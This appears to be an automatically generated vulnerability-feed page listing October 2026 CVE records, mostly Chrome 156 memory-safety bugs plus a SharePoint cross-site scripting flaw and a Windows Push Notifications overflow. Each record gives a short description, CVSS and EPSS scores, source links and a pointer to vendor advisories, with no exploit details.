KEV evidence not available.

### Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113090
Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113090).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113090&date=2026-10-25).
Sources:
NVD CVE-2026-113090: https://nvd.nist.gov/vuln/detail/CVE-2026-113090
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113090&date=2026-10-25
Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113093
Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113093).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113093&date=2026-10-25).
Sources:
NVD CVE-2026-113093: https://nvd.nist.gov/vuln/detail/CVE-2026-113093
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113093&date=2026-10-25
Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113094
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113094).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113094&date=2026-10-25).
Sources:
NVD CVE-2026-113094: https://nvd.nist.gov/vuln/detail/CVE-2026-113094
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113094&date=2026-10-25
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113095
Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113095).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113095&date=2026-10-25).
Sources:
NVD CVE-2026-113095: https://nvd.nist.gov/vuln/detail/CVE-2026-113095
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113095&date=2026-10-25
Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113097
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113097).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113097&date=2026-10-25).
Sources:
NVD CVE-2026-113097: https://nvd.nist.gov/vuln/detail/CVE-2026-113097
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113097&date=2026-10-25
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113140
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113140).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113140&date=2026-10-25).
Sources:
NVD CVE-2026-113140: https://nvd.nist.gov/vuln/detail/CVE-2026-113140
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113140&date=2026-10-25
Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113123
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113123).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113123&date=2026-10-25).
Sources:
NVD CVE-2026-113123: https://nvd.nist.gov/vuln/detail/CVE-2026-113123
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113123&date=2026-10-25
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113120
Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113120).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113120&date=2026-10-25).
Sources:
NVD CVE-2026-113120: https://nvd.nist.gov/vuln/detail/CVE-2026-113120
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113120&date=2026-10-25
Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113115
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113115).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113115&date=2026-10-25).
Sources:
NVD CVE-2026-113115: https://nvd.nist.gov/vuln/detail/CVE-2026-113115
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113115&date=2026-10-25
Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113114
Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113114).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113114&date=2026-10-25).
Sources:
NVD CVE-2026-113114: https://nvd.nist.gov/vuln/detail/CVE-2026-113114
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113114&date=2026-10-25
Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a...
https://kevwire.com/record/CVE-2026-97783
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a... (Oct 13, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97783).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97783&date=2026-10-25).
Sources:
NVD CVE-2026-97783: https://nvd.nist.gov/vuln/detail/CVE-2026-97783
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97783
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97783&date=2026-10-25
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83867
Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83867).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83867&date=2026-10-25).
Sources:
NVD CVE-2026-83867: https://nvd.nist.gov/vuln/detail/CVE-2026-83867
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83867&date=2026-10-25
Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112997
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112997).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112997&date=2026-10-25).
Sources:
NVD CVE-2026-112997: https://nvd.nist.gov/vuln/detail/CVE-2026-112997
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112997&date=2026-10-25
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112998
Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112998).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112998&date=2026-10-25).
Sources:
NVD CVE-2026-112998: https://nvd.nist.gov/vuln/detail/CVE-2026-112998
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112998&date=2026-10-25
Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112999
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112999).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112999&date=2026-10-25).
Sources:
NVD CVE-2026-112999: https://nvd.nist.gov/vuln/detail/CVE-2026-112999
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112999&date=2026-10-25
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113000
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113000).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113000&date=2026-10-25).
Sources:
NVD CVE-2026-113000: https://nvd.nist.gov/vuln/detail/CVE-2026-113000
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113000&date=2026-10-25
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113001
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113001).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113001&date=2026-10-25).
Sources:
NVD CVE-2026-113001: https://nvd.nist.gov/vuln/detail/CVE-2026-113001
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113001&date=2026-10-25
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113003
Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113003).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113003&date=2026-10-25).
Sources:
NVD CVE-2026-113003: https://nvd.nist.gov/vuln/detail/CVE-2026-113003
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113003&date=2026-10-25
Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113004
Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113004).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113004&date=2026-10-25).
Sources:
NVD CVE-2026-113004: https://nvd.nist.gov/vuln/detail/CVE-2026-113004
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113004&date=2026-10-25
Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

